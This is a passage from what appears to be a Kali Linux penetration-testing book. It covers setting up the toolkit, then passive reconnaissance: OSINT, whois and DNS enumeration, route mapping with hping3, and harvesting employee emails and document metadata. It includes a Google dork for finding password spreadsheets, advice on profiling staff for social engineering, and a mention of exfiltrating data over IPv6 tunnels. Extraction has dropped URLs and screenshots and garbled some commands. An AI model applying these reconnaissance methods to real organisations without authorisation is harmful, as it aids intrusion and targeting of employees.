Run the apt-get update command and the upgrade command at
start-up to ensure your session is using the most up-to-date tools. The
easiest way to do this is to create an script that includes the
following command line:
apt-get update && apt-get upgrade –y && apt-get distupgrade –y
Some applications are not upgraded by the apt-get command. For example,
the local copy of the exploit-db archive must be manually upgraded. Create a
script named and add the following commands to it, to automate the
update process:
cd /usr/share/exploitdb
tar –xvjf archive.tar.bz2
rm archive.tar.bz2
Configuring and customizing Kali Linux
Kali is a framework that is used to complete a penetration test. However, the
tester should never feel tied to the tools that have been installed by default, or
by the look and feel of the Kali desktop. By customizing BackTrack, a tester can
increase the security of client data that is being collected, and make it easier to
do a penetration test.
Common customizations made to Kali include:
Resetting the root password
Adding a non-root user
Speeding up Kali operations
Sharing folders with MS Windows
Creating encrypted folders
[ 25 ]
Starting with Kali Linux
Resetting the root password
To change a user password, use the following command:
passwd root
You will then be prompted to enter a new password, as shown in the
following screenshot:
Adding a non-root user
Many of the applications provided in Kali must run with root-level privileges
in order to function. Root-level privileges do possess a certain amount of risk,
for example, miskeying a command or using the wrong command can cause
applications to fail or even damage the system being tested. In some cases, it is
preferable to test with user-level privileges. In fact, some applications force the use
of lower-privilege accounts.
To create a non-root user, you can simply use the command adduser from the terminal
and follow the instructions that appear, as shown in the following screenshot:
Speeding up Kali operations
Several tools can be used to optimize and speed up Kali operations:
• When using a virtual machine, install the VM's software drive
package: Guest Additions (VirtualBox) or VMware Tools (VMware).
[ 26 ]
Chapter 1
• When creating a virtual machine, select a fixed disk size instead of one that is
dynamically allocated. It is faster to add files to a fixed disk, and there is less
file fragmentation.
• The preload application (apt-get install preload) identifies a user's
most commonly used programs and preloads binaries and dependencies into
memory to provide faster access. It works automatically after the first restart
following installation.
• BleachBit (apt-get install bleachbit) frees disk space and improves
privacy by freeing the cache, deleting cookies, clearing Internet history,
shredding temporary files, deleting logs, and discarding other unnecessary
files. Advanced features include shredding files to prevent recovery and
wiping free disk space to hide traces of files that have not been fully deleted.
• By default, Kali does not show all applications that are present in the start-up
menu. Each application that is installed during the boot-up process slows the
system data, and may impact memory use and system performance. Install
Boot Up Manager (BUM) to disable unnecessary services and applications
that are enabled during the boot up (apt-get install bum), as shown in
the following screenshot:
[ 27 ]
Starting with Kali Linux
• Add gnome-do (apt-get install gnome-do) to launch applications
directly from the keyboard. To configure gnome-do, select it from the
Applications | Accessories menu. Once launched, select the Preferences
menu, activate the Quiet Launch function, and select a launch command
(for example, Ctrl + Shift). Clear any existing commands, and then enter
the command line to be executed when the launch keys are selected.
Rather than launching directly from the keyboard, it is possible to write
specific scripts that launch complex operations.
Sharing folders with Microsoft Windows
The Kali toolset has the flexibility to share results with applications residing on
different operating systems, especially Microsoft Windows. The most effective way
to share data is to create a folder that is accessible from the host operating system
as well as the Kali Linux VM guest.
When data is placed in a shared folder from either the host or the VM, it is
immediately available via the shared folder to all systems that access that
shared folder.
To create a shared folder, perform the following steps:
1. Create a folder on the host operating system. In this example, it will be
called Kali_Share.
2. Right-click on the folder and select the Sharing tab. From this menu,
select Share.
3. Ensure that the file is shared with Everyone, and that Permission Level for
this share is set to Read / Write.
4. If you have not already done so, install the appropriate tools onto BackTrack.
For example, when using VMware, install the VMware tools (refer to Appendix,
Installing Kali Linux).
5. When the installation is complete, go to the VMware menu and select Virtual
Machine Setting. Find the menu that enables Shared Folders and select
Always Enabled. Create a path to the shared folder that is present on the
host operating system, as shown in the following screenshot:
[ 28 ]
Chapter 1
Although VirtualBox uses different menu titles,
the process is the same.
6. Open the file browser on the Kali desktop. The shared folder will be visible
in the mnt folder (it might be placed in a sub-folder, hgfs).
7. Drag the folder onto the Kali desktop to create a link to the real folder.
8. Everything placed in the folder will be accessible in the folder of the same
name on the host operating system, and vice versa.
The shared folder, which will contain sensitive data from a penetration test, must be
encrypted to protect the client's network and reduce the tester's liability should the
data ever be lost or stolen.
[ 29 ]
Starting with Kali Linux
Creating an encrypted folder with TrueCrypt
During a penetration test, you will have access to sensitive client information,
including exploitable vulnerabilities and copies of successfully breached data.
It is the tester's legal and moral responsibility to ensure that this information in
his care is secured at all times. The best means of meeting this responsibility is to
ensure that all client information is encrypted during storage and transmission.
To install TrueCrypt on BackTrack, complete the following steps:
1. In the Applications menu, select Accessories | TrueCrypt.
2. To create an encrypted folder, open the application. You will be presented
with the main menu, as shown in the following screenshot:
[ 30 ]
Chapter 1
3. On the main menu, select the Create Volume button. This will launch the
TrueCrypt Volume Creation Wizard, as shown in the following screenshot:
4. Select Create an encrypted file container, and then click on Next.
5. The next screen will prompt for Volume Type, select Standard TrueCrypt
volume, and click on Next.
6. On the Volume Location screen, select Select File. You will be asked to
Specify a New TrueCrypt Volume by providing a Name, and indicating that
it will save in the folder specified, as shown in the following screenshot:
[ 31 ]
Starting with Kali Linux
7. Chose a filename. Do not choose a filename related to the client being tested,
or which indicates that sensitive material is present in the directory. Use a
number or code word to represent the client, and a generic title for results.
Save the file on the desktop, then click on Next.
8. The next screen will provide you with Encryption Options. Select
Encryption Algorithm from the drop-down menu. There are several
choices, but for regular purposes, AES (the default 256-bit key) will suffice.
You will also select a Hash Algorithm from the drop-down menu (the
default, RIPEMD-160, should be sufficient). After your choices are complete,
click on the Next button, as shown in the following screenshot:
9. You will now be prompted for Volume Size. You should have a minimum
size of approximately 500 MB, but this may vary depending on the testing
regime. Click on Next.
[ 32 ]
Chapter 1
10. The Volume Password should be selected according to the rules provided
for strong passwords. Select and confirm the password, then click on Next,
as shown in the following screenshot:
11. The next screen allows you to select Format Options. For Filesystem
Options select FAT from the drop-down menu. Click on Next.
12. The next screen, Volume Format, creates a random key for the encrypted
filesystem. The key is based on mouse movements, and you will be
prompted to move the mouse over the window for a long period to ensure
the randomness (cryptographic strength) of the encryption keys. When done,
click on Format to create the TrueCrypt volume.
13. The final volume has been created. It will appear as an icon on the desktop.
The volume is encrypted, and it can be copied to an external storage device
or moved to the host system and remain encrypted.
[ 33 ]
Starting with Kali Linux
To use the encrypted volume, you must first choose a Slot to manage the encrypted
folder in the main TrueCrypt menu. When this is done, use the Select File button
to select the name of the encrypted file. In this case, we'll use a previously made file
called pentest located on the desktop, as shown in the following screenshot:
Click on the Mount button. At this point, you will be prompted for the password, as
shown in the following screenshot:
When the correct password is entered, you will see the Slot 1 details change to
reflect the encrypted folder's properties, and a new icon called truerypt1 will
be displayed on the desktop, will be displayed on the desktop, as shown in the
following screenshot:
[ 34 ]
Chapter 1
If you double-click on the truecrypt1 icon, you will be taken to a File Browser view.
At this point, it will act as a regular directory, and you can use the folder to store
all of the test-related information. When you work with the contents of the folder,
and wish to ensure that all data is encrypted, select Dismount on the main menu.
The folder will revert to an encrypted state.
Managing third-party applications
Although Kali comes preloaded with several hundred applications, it is
likely that you will need to install additional applications to effectively test specific
environments (such as industrial systems), add new cutting edge tools, or ensure
that your favorite tools are installed. Kali makes it easy to locate, install, and
manage these tools.
Installing third-party applications
There are multiple ways to install third party applications: using the apt-get
command, accessing a GitHub repository, and directly installing the application.
All tools should be installed from the Kali Linux repository using the apt-get
install command. The install command can be executed from the command line
in a terminal window, or the user may select a graphical package management tool.
[ 35 ]
Starting with Kali Linux
Recommended third-party applications include:
• apt-file: This is a command-line tool to search within packages of the
APT packaging system. It allows you to list contents of a package without
installing or fetching it.
• gnome-tweak-tool: This allows users to change themes and rapidly
configure desktop options.
• instanbul: This is a desktop screen recorder that allows you to make a
movie of desktop activities.
• openoffice: This is an open source office productivity suite that assists
in documentation.
• scrub: This is a secure deletion (anti-forensic) tool that securely deletes
data to comply with stringent government standards using various
overwrite patterns.
• shutter: This is a screenshot tool that captures images of a desktop,
open window, or a selection.
• team viewer: This supports remote access and remote administration.
It also allows testers to place a pre-configured computer (a dropbox) on the
target network and control testing from a remote location.
• terminator: This is a replacement for the Linux terminal window that
allows horizontal scrolling—no more wrapped text!
Tools that are not present in a Debian repository and are accessible using apt-get
install can still be installed on Kali. However, the user must accept that manual
installs are not coordinated with repositories, and they may break dependencies
causing applications to fail.
Some tools use the GitHub online repository for software development projects.
Many developers favor this open repository due to the flexibility of the Git revision
system as well as the social-media aspects of the software sites. One tool that we will
be using is recon-ng, a web reconnaissance framework.
To clone the current version of recon-ng from the GitHub repository, use the
following command line:
cd /opt; git clone
https://[email protected]/LaNMaSteR53/recon-ng.git
cd opt/recon-ng
[ 36 ]
Chapter 1
Finally, some applications must be manually installed. For example, to restore the
asynchronous port scanner Unicornscan, can back to Kali, you must:
• Ensure the dependencies are first present: apt-get install flex
• Download the latest version of Unicornscan ( – the
current version is unicornscan-0.4.7-2)
• Extract the contents of the file to a new directory: tar jxf
• Change to the directory containing Unicornscan: cd unicornscan-0.4.7/
• Compile the source code: ./configure CFLAGS=-D_GNU_SOURCE && make
&& make install
The exact dependencies and make install process will vary for each application, so
you will need to refer to the developer's README file to ensure correct installation and
configuration of these applications.
Running third-party applications with
non-root privileges
Kali Linux is intended to support penetration testing. Most of the tools require
root-level access, which is why access to the toolset and data is protected with
passwords and encryption.
However, some third-party tools are not meant to run with root-level privileges.
Tools such as web browsers may be compromised, and giving an attacker access to
root privileges can have a significant security impact.
If root access is not required, tools should follow the principle of least privilege and
run as non-root users.
To run an application that normally runs as a non-root user, log on to Kali using a
root account. Kali should be configured with a non-root account. In this example,
we will use the noroot account previously created with the adduser command.
Perform the following steps to run the web browser Iceweasel as non-root:
1. Create a non-root user account. In this example, we will use noroot.
2. We will use sux, which is a wrapper application that transfers credentials
from a privileged user to a target non-root user. Download and install sux
using the apt-get install command.
[ 37 ]
Starting with Kali Linux
3. Start the web browser, and then minimize it.
4. Enter the command line: ps aux |grep iceweasel. As you can see,
Iceweasel is running with root privileges.
5. Close Iceweasel, and relaunch using the command sux - noroot
iceweasel, as shown in the following screenshot:
If you examine the Iceweasel title bar, shown in the following screenshot, you will
see that it was invoked as the user noroot, an account that did not have
administrator privileges.
You can also confirm that Iceweasel is running under the noroot account by
examining the open processes, as shown in the following screenshot:
Effective management of penetration tests
One of the most difficult aspects of penetration testing is remembering to test all of
the relevant parts of the network or system target, or trying to remember if the target
was actually tested, after the testing has been completed.
[ 38 ]
Chapter 1
BT 5r3 emphasized the use of management tools such as Draedis and MagicTree.
These tools facilitate group testing by providing a central repository for test data.
In addition, they usually provide some framework so that testers know where they
are within a testing methodology, and what tests remain to be completed. Tools of
this nature are excellent in coordinating defined group activities during
a vulnerability assessment or penetration test.
These tools remain in the Applications | Kali Linux | Reporting Tools | Evidence
Management menu.
But what about complex penetration tests where the methodology may be more fluid
as it adapts to the network target?
Some testers use keyloggers or Wireshark during testing to record keystrokes and
packet traffic generated during the test. This data can be especially useful if the
testing is causing a network or application outage, because replaying and analyzing
the packets sent can identify which packet tools impacted the network.
Kali Linux includes several tools that are more suited to making rapid notes and
serving as a repository of rapidly added cut-and-paste data, including KeepNote
and the Zim desktop wiki.
Testers not only need to perform tests and collect data, they also need to be able
to provide their findings to the client. This can be difficult, as some results are
transient—a test demonstrates a finding at one point in time, and then something is
changed on the target system, and future testing fails to demonstrate the exploitable
vulnerability, even though it's possible for it to re-emerge.
The other challenge with positive results is that they need to be demonstrated to a
client in a way that's understandable.
The golden rule is to always grab a screenshot of any positive, or potential, finding.
Use a tool such as Shutter to capture images from the desktop.
By default, Kali is configured with CutyCapt, which is a cross-platform commandline utility that captures a web page and creates a variety of image types, including
[ 39 ]
Starting with Kali Linux
For example, to create an image of a specific size from the Google search page, enter
the following from a command-line prompt:
..cutycapt --url= --out=google.png --min-width=300
On execution, an image of the size specified in the previous command is displayed,
as shown in the following screenshot:
CutyCapt is especially useful when demonstrating the presence of web-based
vulnerabilities such as cross-site scripting.
Static images can be very useful, however, a video of an exploit that compromises
a target network and shows the actions of an attacker as they compromise sensitive
data is a very compelling tool. The instanbul screen recorder creates a video of an
"exploit in progress," which allows the exploit to be replayed for training purposes,
or to demonstrate the vulnerability to the client.
In this chapter, we examined Kali, a collection of tools widely used by legitimate
penetration testers and hackers to assess the security of data systems and networks.
We emphasized Kali as a virtual machine, allowing both the host operating system
and the VM guest to support testing.
[ 40 ]
Chapter 1
Kali is a repository of tools, and one of the challenges in using it is ensuring that the
tools are up-to-date. We reviewed the Debian packet management system, and how
updates could be initiated from both the command line and from GUI applications.
Most importantly, we learned how to customize Kali to increase the security of our
tools and the data that they collect. We are working to achieve the goal of making
tools support our process, instead of the other way around!
In the next chapter, we will learn how to effectively use Open Source Intelligence
(OSINT) to identify the vulnerable attack surfaces of our target and create
customized username:password lists to facilitate social engineering attacks and
other exploits.
[ 41 ]
Identifying the
Target – Passive
Reconnaissance is the first step of the kill chain when conducting a penetration
test or an attack against a network or server target. An attacker will typically
dedicate up to seventy-five percent of the overall work effort for a penetration test
to reconnaissance, as it is this phase that allows the target to be defined, mapped,
and explored for the vulnerabilities that will eventually lead to exploitation.
There are two types of reconnaissance: passive reconnaissance, and
active reconnaissance.
Generally, passive reconnaissance is concerned with analyzing information that is
openly available, usually from the target itself or public sources online. On accessing
this information, the tester or attacker does not interact with the target in an unusual
manner—requests and activities will not be logged, or will not be traced directly to
the tester. Therefore, passive reconnaissance is conducted first to minimize the direct
contact that may signal an impending attack or to identify the attacker.
In this chapter, you will learn the principles and practices of passive reconnaissance,
which include the following:
Basic principles of reconnaissance
Open-source intelligence (OSINT)
DNS reconnaissance and route mapping, including issues with IPv4 and IPv6
Obtaining user information
Profiling users for password lists
Active reconnaissance, which involves direct interaction with the target, will be
covered in Chapter 3, Active Reconnaissance and Vulnerability Scanning.
Identifying the Target – Passive Reconnaissance
Basic principles of reconnaissance
Reconnaissance, or recon, is the first step of the kill chain when conducting a
penetration test or attack against a data target. This is conducted in before the
actual test or attack of a target network. The findings will give a direction to where
additional reconnaissance may be required, or the vulnerabilities to attack during
the exploitation phase.
Reconnaissance activities are segmented on a gradient of interactivity with the target
network or device.
(no direct
Normal interaction
More information
greater chance of
Passive reconnaissance does not involve direct interaction with the target network.
The attacker's source IP address and activities are not logged (for example, a Google
search for the target's e-mail addresses). It is difficult, if not impossible, for the target
to differentiate passive reconnaissance from normal business activities.
In general, passive reconnaissance focuses on the business and regulatory
environment, the company, and the employees. Information of this type is available
on the Internet or other public sources, and is sometimes referred to as open source
intelligence, or OSINT.
• Passive reconnaissance also involves the normal interactions that occur when
an attacker interacts with the target in an expected manner. For example,
an attacker will log on to the corporate website, view various pages, and
download documents for further study. These interactions are expected user
activities, and are rarely detected as a prelude to an attack on the target.
• Active reconnaissance involves direct queries or other interactions (for
example, port scanning of the target network) that can trigger system alarms
or allow the target to capture the attacker's IP address and activities. This
information could be used to identify and arrest an attacker, or during legal
proceedings. Because active reconnaissance requires additional techniques
for the tester to remain undetected, it will be covered in Chapter 3, Active
Reconnaissance and Vulnerability Scanning.
[ 44 ]
Chapter 2
Penetration testers or attackers generally follow a process of structured information
gathering, moving from a broad scope (the business and regulatory environments) to
the very specific (user account data).
To be effective, testers should know exactly what they are looking for and how the
data will be used before collection starts. Using passive reconnaissance and limiting
the amount of data collected minimizes the risks of being detected by the target.
Open Source intelligence
Generally, the first step in a penetration test or an attack is the collection of
open-source intelligence, or OSINT.
OSINT is information collected from public sources, particularly the Internet. The
amount of available information is considerable—most intelligence and military
organizations are actively engaged in OSINT activities to collect information about
their targets, and to guard against data leakage about them.
The process of OSINT collection and analysis is complex and could constitute its own
book; therefore, we will cover only the essential highlights.
The US Army manual ATP 2-22.9 (
irp/doddir/army/atp2-22-9.pdf) and the NATO OSINT
manual (
NATO-OSINT.html) are both available online, and provide
excellent technical reviews of how to gather and assess OSINT.
The information that is targeted for collection is dependent on the initial goal of
the penetration test. For example, if testers wants to access financial data, they will
need the names and biographical information of relevant employees (CFO, accounts
receivable and payable, and so on), their usernames, and passwords. If the route of
an attack involves social engineering, they may supplement this information with
details that give credibility to the requests for information.
OSINT gathering usually starts with a review of the target's official online presence
(website, blogs, social-media pages, and third-party data repositories such as public
financial records). Information of interest includes the following:
• Geographical locations of offices, especially remote or satellite offices that
share corporate information but may lack stringent security controls.
• An overview of the parent company and any subsidiary companies,
especially any new companies acquired by mergers or acquisitions
(these companies are frequently not as secure as the parent company).
[ 45 ]
Identifying the Target – Passive Reconnaissance
• Employee names and contact information, especially names, e-mail
addresses, and phone numbers.
• Clues about the corporate culture and language; this will facilitate social
engineering attacks.
• Business partners or vendors that may connect into the target's network.
• Technologies in use. For example, if the target issues a press release about
adopting new devices or software, the attacker will review the vendor's
website for bug reports, known or suspected vulnerabilities, and details that
could be used to facilitate various attacks.
Other online information sources used by the attacker may include the following:
• Search engines such as Google and Bing. Historically, these searches
are highly manual; the attacker enters search terms that are specific for
information of interest; for example, the search term "company name"
+ password filetype:xls may identify an Excel spreadsheet that contains
employee passwords. These search terms are referred to as google dorks
( Most search engines have since
released APIs to facilitate automated lookups, making tools such as Maltego
particularly effective.
One of the most effective search engines is Yandex (
com). This Russian language search engine, the fourth-largest
search engine in the world, allows users to search in several
languages, including English. It also supports very granular search
expressions, making it more effective than Google when searching
for specific information.
Other online sources that should be searched include:
• Government, financial, or other regulatory sites that provide information
on mergers and acquisitions, names of key persons, and supporting data
• Usenet newsgroups, particularly postings from the target's employees
looking for help with particular technologies
• LinkedIn, Jigsaw, and other websites that provide employee information
• Job search websites, especially ones for technical positions that provide
a list of the technologies and services that must be supported by a
successful applicant
• Historic or cached content, retrieved by search engines (cache:url in Google,
or WayBack Machine at
[ 46 ]
Chapter 2
• Country- and language-specific social and business related sites (refer to
• Sites that aggregate and compare results from multiple search engines,
such as Zuula (
• Corporate and employee blogs, as well as personal blogs of key employees
• Social networks (LinkedIn, Facebook, and Twitter)
• Sites that provide lookups of DNS, route, and server information, especially,
DNSstuff (, ServerSniff (,
Netcraft (, and
• Shodan (, sometimes referred to as the "hacker's Google";
Shodan lists Internet-accessible devices and allows the tester to search for
devices with known vulnerabilities
• Password dumpsites (pastebin, search using
Managing findings can be difficult; however, Kali comes with KeepNote, which
supports the rapid import and management of different types of data.
DNS reconnaissance and route mapping
Once a tester has identified the targets that have an online presence and contain
items of interest, the next step is to identify the IP addresses and routes to the target.
DNS reconnaissance is concerned with identifying who owns a particular domain or
series of IP addresses (whois-type information), the DNS information defining the
actual domain names and IP addresses assigned to the target, and the route between
the penetration tester or the attacker and the final target.
This information gathering is semi-active—some of the information is available from
freely available open sources, while other information is available from third parties
such as DNS registrars. Although the registrar may collect IP addresses and data
concerning requests made by the attacker, it is rarely provided to the end target. The
information that could be directly monitored by the target, such as DNS server logs,
is almost never reviewed or retained.
Because the information needed can be queried using a defined systematic and
methodical approach, its collection can be automated.
[ 47 ]
Identifying the Target – Passive Reconnaissance
Note that DNS information may contain stale or incorrect entries.
To minimize inaccurate information, query different source servers
and use different tools to cross-validate results. Review results, and
manually verify any suspect findings. Use a script to automate the
collection of this information. The script should create a folder for
the penetration test, and then a series of folders for each application
being run. After the script executes each command, pipe the results
directly to the specific holding folder.
The first step in researching the IP address space is to identify the addresses that
are assigned to the target site. This is usually accomplished by using the whois
command, which allows people to query databases that store information on the
registered users of an Internet resource, such as a domain name or IP address.
Depending on the database that is queried, the response to a whois request will
provide names, physical addresses, phone numbers, and e-mail addresses (useful in
facilitating social engineering attacks), as well as IP addresses and DNS server names.
An attacker can use information from a whois query to:
• Support a social engineering attack against the location or persons identified
in the query
• Identify a location for a physical attack
• Identify phone numbers that can be used for a war dialing attack, or to
conduct a social engineering attack
• Conduct recursive searches to locate other domains hosted on the same
server as the target or operated by the same user; if they are insecure, an
attacker can exploit them to gain administrative access to the server, and then
compromise the target server
• In cases where the domain is due to expire, an attacker can attempt to seize
the domain, and create a look-alike website to compromise visitors who
think they are on the original website
• An attacker will use the authoritative DNS servers, which are the records for
lookups of that domain, to facilitate DNS reconnaissance
[ 48 ]
Chapter 2
Note that there is an increase in the usage of third parties to shield this data, and
some domains, such as .gov and .mil, may not be accessible to the public domain.
Requests to these domains are usually logged. There are several online lists available
that describe domains and IP addresses assigned for government use; most tools
accept options for "no contact" addresses, and government domains should be
entered into these fields to avoid the wrong type of attention!
The easiest way to issue a whois query is from the command line. The following
screenshot shows the whois command run against the domain of Digital Defence:
The returned whois record contains geographical information, names, and contact
information—all of which can be used to facilitate a social engineering attack.
There are several websites that automate whois lookup enquiries, and attackers can
use these sites to insert a step between the target and themselves; however, the site
doing the lookup may log the requester's IP address.
[ 49 ]
Identifying the Target – Passive Reconnaissance
DNS reconnaissance
The Domain Name System (DNS), is a distributed database that resolves names
( to its IP addresses (
Attackers use the DNS information in the following ways:
• Using brute-force attacks, allows attackers to identify new domain names
associated with the target.
• If the DNS server is configured to permit a zone transfer to any requester,
it will provide hostnames and IP addresses of Internet-accessible systems,
making it easier to identify potential targets. If the target does not segregate
public (external) DNS information from private (internal) DNS information,
a zone transfer might disclose the hostnames and IP addresses of internal
devices. (Note that most IDS and IPS systems will trigger an alarm if a zone
transfer request is triggered).
• Finding services that may be vulnerable (for example, FTP) or are otherwise
interesting (remote administration panels and remote access).
• Finding misconfigured and/or unpatched servers
• Service records (SRV), provide information on service, transport, port,
and order of importance for services. This can allow an attacker to deduce
the software.
• DomainKeys Identified Mail (DKIM) and Sender Policy Framework (SPF)
records are used to control spam e-mails. If these records are identified, the
attacker knows that:
They are more security conscious than most organizations.
This may impact phishing and other social engineering attacks.
Both Windows and Unix support basic command-line tools such as nslookup, and
Unix systems support additional command-line options such as dig. Unfortunately,
these commands usually interrogate one server at a time, and require interactive
responses to be effective.
Kali features several tools designed to iteratively query DNS information for a
particular target. The selected tool must accommodate the Internet Protocol version
that is used for communications with the target—IPv4 or IPv6.
[ 50 ]
Chapter 2
The IP, or Internet Protocol address, is a unique number used to identify devices
that are connected to a private network or the public Internet. Today, the Internet
is largely based on version 4, IPv4. Kali includes several tools to facilitate DNS
reconnaissance, as given in the following table:
dnsenum, dnsmap, and dnsrecon
These are comprehensive DNS scanners—DNS
record enumeration (A, MX, TXT, SOA, wildcard,
and so on), subdomain brute-force attacks, Google
lookup, reverse lookup, zone transfer, and zone
walking. dsnrecon is usually the first choice—it is
highly reliable, results are well parsed, and data can
be directly imported into the Metasploit Framework.
This determines where a given Domain Name System
gets its information from, and follows the chain of
DNS servers back to the servers which know the data.
This DNS debugger checks specified domains for
internal consistency and accuracy.
This locates non-contiguous IP space and hostnames
against specified domains by attempting zone
transfers, and then attempting brute-force attacks to
gain DNS information.
During testing, most investigators run fierce to confirm that all possible targets
have been identified, and then run at least two comprehensive tools (for example,
dnsenum and dnsrecon) to generate the maximum amount of data and provide a
degree of cross validation.
[ 51 ]
Identifying the Target – Passive Reconnaissance
In the following screenshot, dnsrecon is used to generate a standard DNS record
search, and a search that is specific for SRV records. An excerpt of the results is
shown for each case.
DNSrecon allows the penetration tester to obtain the SOA record, name servers (NS),
mail exchanger (MX) hosts, servers sending e-mails using Sender Policy Framework
(SPF), and the IP address ranges in use.
[ 52 ]
Chapter 2
Although IPv4 seems to permit a large address space, freely available IP addresses
were exhausted several years ago, forcing the employment of NAT and DHCP to
increase the number of available addresses. A more permanent solution has been
found in the adoption of an improved IP addressing scheme, IPv6. Although it
constitutes less than five percent of Internet addresses, its usage is increasing, and
penetration testers must be prepared to address the differences between IPv4 and IPv6.
In IPv6, the source and destination addresses are 128 bits in length, yielding 2128
possible addresses, that is, 340 undecillion addresses!
The increased size of the addressable address space presents some problems
to penetration testers, particularly when using scanners that step through the
available address space looking for live servers. However, some features of the
IPv6 protocol have simplified discovery, especially the use of ICMPv6 to identify
active link-local addresses.
It is important to consider IPv6 when conducting initial scans for the
following reasons:
• There is uneven support for IPv6 functionality in testing tools, so the tester
must ensure that each tool is validated to determine its performance and
accuracy in IPv4, IPv6, and mixed networks.
• Because IPv6 is a relatively new protocol, the target network may contain
misconfigurations that leak important data; the tester must be prepared to
recognize and use this information.
• Older network controls (firewalls, IDS, and IPS) may not detect IPv6.
In such cases, penetration testers can use IPv6 tunnels to maintain covert
communications with the network, and exfiltrate the data undetected.
Kali includes several tools developed to take advantage of IPv6 (most comprehensive
scanners, such as nmap, now support IPv6), some of which are as follows; tools that
are particular to IPv6 were largely derived from the THC-IPv6 Attack Toolkit.
Enumerates subdomains to obtain IPv4 and IPv6 addresses (if present)
using a brute force search based on a supplied dictionary file or its own
internal list.
Performs reverse DNS enumeration given an IPv6 address.
[ 53 ]
Identifying the Target – Passive Reconnaissance
The execution of the dnsdict6 command is shown in the following screenshot:
Mapping the route to the target
Route mapping was originally used as a diagnostic tool that allows you to view
the route that an IP packet follows from one host to the next. Using the time to live
(TTL) field in an IP packet, each hop from one point to the next elicits an ICMP
TIME_EXCEEDED message from the receiving router, decrementing the value in
the TTL field by 1. The packets count the number of hops and the route taken.
From an attacker's, or penetration tester's perspective, the traceroute data yields
the following important data:
• The exact path between the attacker and the target
• Hints pertaining to the network's external topology
• Identification of accessing control devices (firewalls and
packet-filtering routers) that may be filtering attack traffic
• If the network is misconfigured, it may be possible to identify
internal addressing
Using a web-based traceroute (, it is
possible to trace various geographic origin sites to the target network.
These types of scans will frequently identify more than one different
network connecting to the target, which is information that could be
missed by conducting only a single traceroute from a location close
to the target. Web-based traceroute may also identify multihomed
hosts which connect two or more networks together. These hosts are
an important target for attackers, because they drastically increase the
attack surface leading to the target.
[ 54 ]
Chapter 2
In Kali, traceroute is a command-line program that uses ICMP packets to map the
route; in Windows, the program is tracert.
If you launch traceroute from Kali, it is likely that you will see most hops filtered
(data is shown as * * *). For example, traceroute from the author's present location
to would yield the following:
However, if the same request was run using tracert from the Windows command
line, we would see the following:
Not only do we get the complete path, but we can also see that is
resolving to a slightly different IP address, indicating that load balancers are in effect
(you can confirm this using Kali's lbd script; however, this activity may be logged by
the target site).
The reason for the different path data is that, by default, traceroute used UDP
datagrams while Windows tracert uses ICMP echo request (ICMP type 8).
Therefore, when completing a traceroute using Kali tools, it is important to use
multiple protocols in order to obtain the most complete path, and to bypass packetfiltering devices.
[ 55 ]
Identifying the Target – Passive Reconnaissance
Kali provides the following tools for completing route traces:
This is a TCP/IP packet assembler and analyzer. This supports TCP,
UDP, ICMP, and raw-IP and uses a ping-like interface.
This enables users to enumerate IP hops by exploiting existing TCP
connections, both initiated from the local system or network, or from
local hosts. This makes it very useful for bypassing external filters
such as firewalls. intrace is a replacement for the less reliable 0trace
This is a traceroute program that uses ICMP6.
hping3 is one of the most useful tools due to the control it gives over packet type,
source packet, and destination packet. For example, Google does not allow ping
requests. However, it is possible to ping the server if you send the packet as a TCP
SYN request.
In the following example, the tester attempts to ping Google from the command line.
The returned data identifies that is an unknown host; Google is
clearly blocking ICMP-based ping commands. However, the next command invokes
hping3, instructing it to do the following:
1. Send a ping-like command to Google using TCP with the SYN flag set (-S).
2. Direct the packet to port 80; legitimate requests of this type are rarely
blocked (- p 80).
3. Set a count of sending three packets to the target (-c 3).
[ 56 ]
Chapter 2
To execute the previous steps, use the commands as shown in the
following screenshot:
The hping3 command successfully identifies that the target is online, and provides
some basic routing information.
Obtaining user information
Many penetration testers gather user names and e-mail addresses, as this
information is frequently used to log on to targeted systems.
The most commonly employed tool is the web browser, which is used to manually
search the target organization's website as well as third-party sites such as LinkedIn
or Jigsaw.
Some automated tools included with Kali can supplement the manual searches.
E-mail addresses of former employees can still be of use. When
conducting social engineering attacks, directing information requests to
a former employee usually results in a redirect that gives the attacker
the "credibility" of having dealt with the previous employee. In addition,
many organizations do not properly terminate employee accounts, and it
is possible that these credentials may still give access to the target system.
[ 57 ]
Identifying the Target – Passive Reconnaissance
Gathering names and e-mail addresses
The theharvester tool is a Python script that searches through popular search
engines and other sites for e-mail addresses, hosts, and subdomains.
Using theharvester is relatively simple as there are only a few command
switches to set. The options available are:
• -d: This identifies the domain to be searched; usually the domain or
target's website.
• - b: This identifies the source for extracting the data; it must be one of
the following:
Bing, BingAPI, Google, Google-Profiles, Jigsaw, LinkedIn, People123, PGP,
or All
• - l: This limit option instructs theharvester to only harvest data from a
specified number of returned search results.
• -f: This option is used to save the final results to an HTML and an XML file.
If this option is omitted, the results will be displayed on the screen and
not saved.
The following screenshot shows the results of a simple search of the Google indexes
for the domain
[ 58 ]
Chapter 2
Gathering document metadata
Document metadata refers to the information that is appended to documents so that
applications can manage them during the creation and storage processes. Examples
of metadata typically attached to documents include the following:
• The company or person who owns the application used to create
the document
• The name of the document's author
• The time and date that the document was created
• The date when the file was last printed or modified; in some cases,
it will identify who made the modifications
• The location on the computer network where the document was created
• Some files, especially those created by cameras or mobile devices, may
include geographic tags that identify where the image was created
Metadata is not immediately visible to the end user, so most documents are
published with the metadata intact. Unfortunately, this data leakage can reveal
information that can be used by a tester or attacker to facilitate an attack. At a
minimum, testers and attackers can harvest user names by comparing them to data
in documents; they can identify persons associated with particular data types, such
as annual financial reports or strategic planning.
As mobile devices become more common, the risks associated with geographical
metadata have increased. Attackers look for locations (cottages, hotels, and
restaurants that are frequently visited) as sites that may allow them to launch attacks
against users who have let their guard down outside the corporate perimeter. For
example, if an employee of the target organization regularly posts pictures to a
social media website while waiting for a commuter train, an attacker may target that
employee for a physical attack (theft of the mobile device), wireless attack, or even
peek over the victim's shoulder to note the username and password.
[ 59 ]
Identifying the Target – Passive Reconnaissance
On Kali, the tool Metagoofil performs a Google search to identify and download
a target website's documents (doc, docx, pdf, pptx, xls, and xlsx) and extract
usernames, a software version, path storage names, and a server, or workstation
names, as shown in the following screenshot:
Metagoofil downloads the specified number of documents to a temporary folder,
and extracts and organizes the relevant metadata. It also performs this function
against files that have previously been downloaded and are now stored locally.
One of the first returns of Metagoofil is a list of the users that are found.
The following is a screenshot of a truncated list:
[ 60 ]
Chapter 2
Metagoofil also identifies servers and pathnames of the documents. If certain
documents of interest are localized with a particular user (for example, drafts of
financial reports found on an administrative assistant's workstation), that system
can be targeted later during testing, as shown in the following screenshot:
Profiling users for password lists
